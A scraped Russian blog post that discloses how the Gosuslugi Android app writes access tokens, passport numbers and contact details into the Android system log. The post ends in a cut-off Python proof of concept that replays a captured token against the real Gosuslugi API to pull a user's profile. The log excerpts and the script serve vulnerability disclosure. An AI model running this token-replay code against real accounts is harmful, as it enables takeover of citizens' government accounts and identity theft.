{"id":288175,"date":"2018-08-17T16:45:03","date_gmt":"2018-08-17T12:45:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=288175"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=288175","title":{"rendered":"\u0413\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438, \u043a\u0430\u043a \u0443\u0442\u0435\u043a\u0430\u044e\u0442 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439"},"content":{"rendered":"\n<div data-io-article-url=\"https:\/\/habr.com\/post\/420483\/\" class=\"post__text post__text-html js-mediator-article\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/52\/xm\/ic\/52xmicralkno7snjdeo4tr5d4bs.png\"><\/div>\n<p>  \u0412\u0441\u0435\u043c \u0434\u043e\u0431\u0440\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0443\u0442\u043e\u043a. \u0412\u0441\u0435 \u0432\u0435\u0434\u044c \u043f\u043e\u043c\u043d\u044f\u0442 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0439 \u00ab\u0445\u0430\u0439\u043f\u00bb \u0432\u043e\u043a\u0440\u0443\u0433 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f <i>BurgerKing<\/i>, \u044f\u043a\u043e\u0431\u044b \u043e\u043d\u043e \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439? \u0422\u0430\u043a \u0432\u043e\u0442, \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0431\u044b \u0445\u043e\u0442\u0435\u043b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043e \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0434\u043e\u043b\u0435\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u043c \u0441\u043b\u0438\u0432\u0435, \u0438 \u043d\u0435 \u043a\u0443\u0434\u0430-\u0442\u043e \u043d\u0430 1 \u0441\u0435\u0440\u0432\u0435\u0440 \u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435\u043c! \u0417\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0440\u043e\u0448\u0443 \u043f\u043e\u0434 \u043a\u0430\u0442<br \/>  <a name=\"habracut\"><\/a> <\/p>\n<h3>\u0421 \u0447\u0435\u0433\u043e \u0432\u0441\u0451 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c?<\/h3>\n<p>  \u0410 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0432\u0441\u0451 \u0441 \u0431\u0430\u0433-\u0440\u0435\u043f\u043e\u0440\u0442\u0430 \u043f\u043e \u043f\u043e\u0432\u043e\u0434\u0443 \u043a\u0440\u0430\u0445\u0430 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0422\u0438\u043d\u044c\u043a\u043e\u0444\u0444, \u042f \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u043b\u043e\u0433 \u043f\u0430\u0434\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c, \u0430 \u043f\u043e\u0441\u043b\u0435 \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0438\u043c\u0435\u044e\u0449\u0438\u0445\u0441\u044f \u043d\u0430 \u043c\u043e\u0451\u043c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0435. \u041f\u043e\u0434 \u0440\u0443\u043a\u0443 \u043f\u043e\u043f\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 <a href=\"https:\/\/play.google.com\/store\/apps\/details?id=ru.rostel&amp;hl=ru\">\u0413\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438<\/a>.<br \/>  \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u0447\u0435\u0440\u0435\u0437 <i>adb<\/i> \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0432 \u043e\u043f\u0446\u0438\u044e &#171;<i>\u041e\u0442\u043b\u0430\u0434\u043a\u0430 \u043f\u043e USB<\/i>&#187; \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <i>logcat<\/i>.  <\/p>\n<blockquote><p>P.S. \u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b, \u0432\u0441\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0441 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043b\u044e\u0434\u044c\u043c\u0438 \u0447\u0438\u0441\u0442\u0430\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0441\u0442\u044c.<\/p><\/blockquote>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 <i>\u0413\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438<\/i> \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443:  <\/p>\n<pre><code class=\"bash\">BaseRequestUri: https:\/\/www.gosuslugi.ru\/api\/cms\/v1\/disclaimers\/mobile Method: POST, RequestUri: '', Version: 1.1, Content: &lt;null&gt;, Headers: 08-17 14:26:23.863 18730 18730 I mono-stdout: { 08-17 14:26:23.863 18730 18730 I mono-stdout: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6 08-17 14:26:23.863 18730 18730 I mono-stdout: mobVersion: android_3.3.2.135 08-17 14:26:23.863 18730 18730 I mono-stdout: Cache-Control: no-store, no-cache, max-age=0 08-17 14:26:23.863 18730 18730 I mono-stdout: Pragma: max-age=0,  no-cache,  no-store 08-17 14:26:23.863 18730 18730 I mono-stdout: Accept: application\/json, text\/json, text\/x-json, text\/javascript, application\/xml, text\/xml, application\/zip 08-17 14:26:23.863 18730 18730 I mono-stdout: } Content-Type: application\/json; charset=utf-8  08-17 14:26:23.863 18730 18730 I mono-stdout: Content-Length: 88 RequestBody: {\"mnemonics\":[{\"mnemonic\":\"SMU_COMMON\"}],\"userAgent\":\"android\",\"appVersion\":\"3.3.2.135\"} <\/code><\/pre>\n<p>  \u0412 \u043b\u043e\u0433\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u043b\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440. \u041d\u0443, \u0434\u0443\u043c\u0430\u044e, \u0431\u044b\u0432\u0430\u0435\u0442, \u0437\u0430\u0431\u044b\u043b\u0438 \u0443\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u0438 \u043e\u0442\u043b\u0430\u0434\u043a\u0435, \u0441 \u043a\u0435\u043c \u043d\u0435 \u0431\u044b\u0432\u0430\u0435\u0442. \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0434\u0430\u043b\u044c\u0448\u0435 \u0438 \u0432\u0438\u0434\u0438\u043c \u043e\u0442\u0432\u0435\u0442:  <\/p>\n<pre><code class=\"bash\">Response: 6:29.389 18730 18730 I GuRequestLog:  Uri=https:\/\/www.gosuslugi.ru\/api\/cms\/v1\/disclaimers\/mobile Content-Type=application\/json0 I GuRequestLog:  Status-Code=OK.389 18730 18730 I GuRequestLog:  ResponseBody: []89 18730 18730 I GuRequestLog:  <\/code><\/pre>\n<p>  \u0422\u0430\u043a, \u0430 \u0432\u043e\u0442 \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u0442\u0440\u0430\u043d\u043d\u043e! \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u043e\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0438 \u0442\u0443\u0442 \u043d\u0430\u0441 \u0443\u0436\u0435 \u0436\u0434\u0451\u0442 \u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u0438\u0434\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u0435\u0441\u0441\u0438\u0438:  <\/p>\n<pre><code class=\"bash\">BaseRequestUri: https:\/\/www.gosuslugi.ru\/auth-provider\/mobile\/v2\/createSession Method: POST, RequestUri: '', Version: 1.1, Content: &lt;null&gt;, Headers: 08-17 14:28:34.609 18730 18730 I GuRequestLog: { 08-17 14:28:34.609 18730 18730 I GuRequestLog: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6 08-17 14:28:34.609 18730 18730 I GuRequestLog: mobVersion: android_3.3.2.135 08-17 14:28:34.609 18730 18730 I GuRequestLog: Accept: application\/json, text\/json, text\/x-json, text\/javascript, application\/xml, text\/xml, application\/zip 08-17 14:28:34.609 18730 18730 I GuRequestLog: } Content-Type: application\/json; charset=utf-8:  08-17 14:28:34.609 18730 18730 I GuRequestLog: Content-Length: 854 08-17 14:28:34.609 18730 18730 I GuRequestLog:  RequestBody: {\"userId\":\"84**74555\",\"accessToken\":\"eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjE1MzQ1MDUwMTcsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk\",\"id\":\"da000000f0002400\",\"name\":\"_umts\",\"type\":\"Android\"} <\/code><\/pre>\n<p>  \u0421\u0430\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437, \u0434\u0430\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 <i>accessToken<\/i> \u0438 \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u043a\u0435\u043d \u043f\u043e\u043b\u0443\u0447\u0435\u043d:  <\/p>\n<pre><code class=\"bash\">Response: 8:35.080 18730 18730 I mono-stdout:  Uri=https:\/\/www.gosuslugi.ru\/auth-provider\/mobile\/v2\/createSession Content-Type=application\/json0 I mono-stdout:  Status-Code=OK.080 18730 18730 I mono-stdout:  ResponseBody: {\"sessionId\":\"e235d56d-63f3-4b48-a9f6-c1c2d86c25d9\",\"accessToken\":\"eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjIyNDUsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk\",\"error\":{\"errorCode\":\"0\",\"errorMessage\":\"operation completed\"}} <\/code><\/pre>\n<p>  \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435, \u0438 \u0441\u043d\u043e\u0432\u0430 \u0432\u0441\u0451 \u0441\u044b\u043f\u0435\u0442\u0441\u044f \u0432 \u043b\u043e\u0433\u0438:  <\/p>\n<pre><code class=\"bash\">BaseRequestUri: https:\/\/esia.gosuslugi.ru\/rs\/prns\/84**74555 Method: GET, RequestUri: '', Version: 1.1, Content: &lt;null&gt;, Headers: 08-17 14:28:35.960 18730 18730 I GuRequestLog: { 08-17 14:28:35.960 18730 18730 I GuRequestLog: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6 08-17 14:28:35.960 18730 18730 I GuRequestLog: mobVersion: android_3.3.2.135 08-17 14:28:35.960 18730 18730 I GuRequestLog: Cache-Control: no-cache 08-17 14:28:35.960 18730 18730 I GuRequestLog: If-None-Match: * 08-17 14:28:35.960 18730 18730 I GuRequestLog: Accept: application\/json, text\/json, text\/x-json, text\/javascript, application\/xml, text\/xml, application\/zip 08-17 14:28:35.960 18730 18730 I GuRequestLog: Authorization: Bearer eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjIyNDUsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk 08-17 14:28:35.960 18730 18730 I GuRequestLog: } <\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u043e\u0442\u043c\u043e\u0442\u0430\u0442\u044c \u043b\u043e\u0433 \u0435\u0449\u0451 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043d\u0438\u0436\u0435, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043c \u0441\u0432\u043e\u0438 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u0442\u0430\u043a \u0435\u0449\u0451 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043b\u043e\u0433 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.<br \/>  \u0412\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u0442\u0432\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435:  <\/p>\n<pre><code class=\"bash\">Response: 8:36.940 18730 18730 I GuRequestLog:  Uri=https:\/\/esia.gosuslugi.ru\/rs\/prns\/84**74555 Content-Type=application\/json0 I GuRequestLog:  Status-Code=OK.940 18730 18730 I GuRequestLog:  ResponseBody: {\"stateFacts\":[\"EntityRoot\"],\"firstName\":\"\u041f\u0430\u0432\u0435\u043b\",\"lastName\":\"\u041f\u0443\u043f\u043a\u0438\u043d\",\"middleName\":\"\u0412\u0430\u0441\u0438\u043b\u044c\u0435\u0432\u0438\u0447\",\"birthDate\":\"10.10.1910\",\"birthPlace\":\"\u043f\u043e\u0441. \u0433\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438, \u0432 \u0420\u043e\u0441\u0441\u0438\u0438\",\"gender\":\"M\",\"trusted\":true,\"citizenship\":\"RUS\",\"snils\":\"000-000-000 00\",\"inn\":\"999999999999\",\"updatedOn\":1220627522,\"status\":\"REGISTERED\",\"verifying\":false,\"rIdDoc\":88888888,\"regCtxCfmSte\":\"PCD\",\"chosenCfmTypes\":[\"RA\"],\"regType\":\"OPR\",\"containsUpCfmCode\":false,\"eTag\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"} <\/code><\/pre>\n<p>  \u0410 \u0442\u0443\u0442 \u0443 \u043d\u0430\u0441 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445:  <\/p>\n<pre><code class=\"bash\">Uri=https:\/\/esia.gosuslugi.ru\/rs\/prns\/84**74555\/ctts Content-Type=application\/json0 I GuRequestLog:  Status-Code=OK.776 18730 18730 I GuRequestLog:  ResponseBody: {\"stateFacts\":[\"hasSize\"],\"size\":2,\"eTag\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\",\"elements\":[{\"stateFacts\":[\"Identifiable\"],\"id\":88888888,\"type\":\"EML\",\"vrfStu\":\"VERIFIED\",\"value\":\"pupkin_pavel@pochta.ru\",\"eTag\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"},{\"stateFacts\":[\"Identifiable\"],\"id\":88888888,\"type\":\"MBT\",\"vrfStu\":\"VERIFIED\",\"value\":\"+7(955)5555555\",\"eTag\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"}]} <\/code><\/pre>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u0430\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438 \u0431\u043b\u0430\u0433\u043e\u043f\u043e\u043b\u0443\u0447\u043d\u043e \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u044d\u0442\u043e \u0432 \u043b\u043e\u0433:  <\/p>\n<pre><code class=\"bash\">Response: 8:39.520 18730 18730 I GuRequestLog:  Uri=https:\/\/esia.gosuslugi.ru\/rs\/prns\/84**74555\/docs Content-Type=application\/json0 I GuRequestLog:  Status-Code=OK.520 18730 18730 I GuRequestLog:  ResponseBody: {\"stateFacts\":[\"hasSize\"],\"size\":1,\"eTag\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\",\"elements\":[{\"stateFacts\":[\"Identifiable\"],\"id\":0000000,\"type\":\"RF_PASSPORT\",\"vrfStu\":\"VERIFIED\",\"series\":\"2000\",\"number\":\"000000\",\"issueDate\":\"00.00.2000\",\"issueId\":\"000000\",\"issuedBy\":\"\u041e\u0422\u0414\u0415\u041b\u0415\u041d\u0418\u0415\u041c \u0423\u0424\u041c\u0421 \u0420\u041e\u0421\u0421\u0418\u0418\",\"eTag\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"}]} <\/code><\/pre>\n<p>  \u041d\u0443 \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435. \u0414\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0435\u043d\u0438\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043e \u0448\u0442\u0440\u0430\u0444\u0430\u0445? \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043c\u044b \u0432\u044b\u0432\u0435\u0434\u0435\u043c \u0432 \u043b\u043e\u0433 \u043d\u0430 \u0432\u0441\u0435\u043e\u0431\u0449\u0435\u0435 \u043e\u0431\u043e\u0437\u0440\u0435\u043d\u0438\u0435 \u0438 \u044d\u0442\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.<\/p>\n<p>  \u041d\u043e \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435, \u0447\u0442\u043e \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443 \u0432\u0430\u0441 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043e \u043d\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0435, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0448 \u0442\u043e\u043a\u0435\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0441\u0435\u0441\u0441\u0438\u0438, \u0438 \u0432\u0441\u0451, \u0432 \u043b\u044e\u0431\u043e \u043c\u043e\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0432\u0430\u0441. \u0418 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439, \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 \u0432\u0430\u0448 \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u0431\u044b\u043b \u0441\u043e\u0432\u0435\u0440\u0448\u0451\u043d \u0432\u0445\u043e\u0434, \u0432\u044b \u043d\u0435 \u0443\u0432\u0438\u0434\u0438\u0442\u0435.<\/p>\n<p>  \u041d\u0438\u0436\u0435 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u0432\u0438\u0434\u0435\u0442\u044c PoC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043d\u0443\u0436\u043d\u044b\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0441\u0435\u0441\u0441\u0438\u044e \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435.  <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python3 import requests import json import sys   def createSession(userId, lastToken, rid):     url = 'https:\/\/www.gosuslugi.ru\/auth-provider\/mobile\/v2\/createSession'     header = {         'X-MobileSessionId': '9ae8705c-5140-4630-9087-c1f09843e1a6',         'mobVersion': 'android_3.3.2.135',         'Accept': 'application\/json, text\/json, text\/x-json, text\/javascript, application\/xml, text\/xml, application\/zip',         'Content-Type': 'application\/json; charset=utf-8'     }     data = {         \"userId\": userId,         \"accessToken\": lastToken,         \"id\": rid,         \"name\": \"hts\",         \"type\": \"Android\"     }     resp = requests.post(url, data=json.dumps(data), headers=header)     return resp.json()   def getUserInfo(userId, session):     if session['error']['errorCode'] != '0':         print(session['error']['errorMessage'])         return     url = 'https:\/\/esia.gosuslugi.ru\/rs\/prns\/%s' % userId     header = {         'X-MobileSessionId': session['sessionId'],         'mobVersion': 'android_3.3.2.135',         'Cache-Control': 